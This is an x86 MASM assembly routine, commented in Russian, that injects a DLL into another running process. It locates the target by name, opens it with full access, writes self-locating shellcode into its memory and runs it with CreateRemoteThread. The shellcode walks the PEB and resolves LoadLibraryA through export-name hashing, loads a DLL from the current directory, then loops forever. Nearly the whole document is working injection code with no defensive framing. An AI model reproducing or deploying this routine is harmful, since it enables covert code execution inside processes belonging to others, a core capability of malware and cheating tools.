dump__ proc par__:dword
 local procEntry:PROCESSENTRY32
  local buffertool:dword 
  local bufferfirst:dword
  local  hProcess:dword
  LOCAL pNumberOfBytesRead:dword
  local written_:dword
  local szModulePath[256]:byte
  local lpflOldProtect:dword
invoke CreateToolhelp32Snapshot,2,0
mov buffertool, eax
mov procEntry.dwSize,500
invoke Process32First,buffertool, addr procEntry
mov bufferfirst, eax
  .if eax!=INVALID_HANDLE_VALUE 
    xor edi,edi 
    .while eax!=0 
    invoke Process32Next,buffertool,addr procEntry
    lea esi,procEntry
    pushad
    invoke lstrcmpiA,addr procEntry.szExeFile,par__
    .if eax==0
    mov esi,procEntry.th32ProcessID
    invoke OpenProcess,PROCESS_ALL_ACCESS,0,esi
    .if eax!=0
    mov  hProcess,eax
    jmp alloc_
    nachalo_shell:
    jmp metka1
    metka2:
    call metka3
    library_razbor: 
    mov edi,dword ptr[esp+4]  
    mov esi,dword ptr [esp+8] 
mov eax,dword ptr [edi+3Ch]
mov ebx,dword ptr[esp+4]
mov ebp,edi
mov edx,dword ptr [ebp+eax+78h]
add edx,ebp
mov ecx,dword ptr [edx+18h]
mov ebx,dword ptr [edx+20h]
add ebx,ebp
push esi
poka:
jecxz exit_from_proc 
dec ecx
xor esi,esi
mov esi,dword ptr [ebx+ecx*4h]
add esi,ebp
xor edi,edi
cld
cycl_:
xor eax,eax
lodsb 
cmp al,ah ; конец строки?
je null_symbol 
rol edi,0Ah ; хешируем 
add edi,eax
jmp cycl_
null_symbol:
cmp edi,dword ptr[esp] ; сравниваем хеши
jnz poka
mov ebx,dword ptr [edx+24h]
ADD EBX,EBP
mov cx,word ptr [ebx+ecx*2h]
mov ebx,dword ptr [edx+1Ch]
add ebx,ebp
mov eax,dword ptr [ebx+ecx*4h]
add eax,ebp
exit_from_proc:
pop esi
db 0c3h ; ret 
metka1:
call metka2
metka3:
pop edi
push edi
db 64h,0a1h,30h,00h,00h,00h ; у меня компилятор не скомпилил mov eax,fs:[30]
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr[eax+1ch]
lodsd
mov edx,dword ptr [eax+8h]
push 5d217051h ; LoadLibraryA
push edx
call edi
jmp name_of_module
llibrary_:
pop edi
push edi
call eax
dead_loo:
jmp dead_loo ; в мертвый цикл...............
name_of_module:
call llibrary_ 
path:
db 258 dup(0)
    alloc_:
    invoke VirtualProtect,offset path,258,PAGE_EXECUTE_READWRITE,addr lpflOldProtect
    .if eax==0
    invoke MessageBoxA,0,offset error_protect,0,0
    jmp ret_
    .endif 
    invoke GetCurrentDirectory,255,offset path
    .if eax==0
    invoke MessageBoxA,0,offset error_dir,0,0
    jmp ret_
    .endif
    invoke lstrcat,offset path,offset sym_
    invoke lstrcat,offset path,offset dll_ ; составляем путь к библиотеке 
    mov edi,offset alloc_ 
    sub edi,offset nachalo_shell ; вычисляем размер внедряемого кода
    mov si_,edi
    pushad
    invoke VirtualAllocEx,hProcess,0,si_, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    .if eax==0 ; выделилась ли память в процессе
    invoke MessageBoxA,0,offset error_alloc,0,0 
    jmp ret_
    .endif
    .if eax!=0
    mov addr_in_process_,eax
    invoke WriteProcessMemory,hProcess,addr_in_process_,offset nachalo_shell,si_,addr written_
    .if eax==0
    invoke MessageBoxA,0,offset error_write,0,0
    jmp ret_
    .endif
    invoke CreateRemoteThread,hProcess,0, 0,addr_in_process_,0, 0,0 
    .endif
    .endif 	
    jmp ret_
    .endif
    popad 
    .endw 
  .endif
  ret_: 
ret
dump__ endp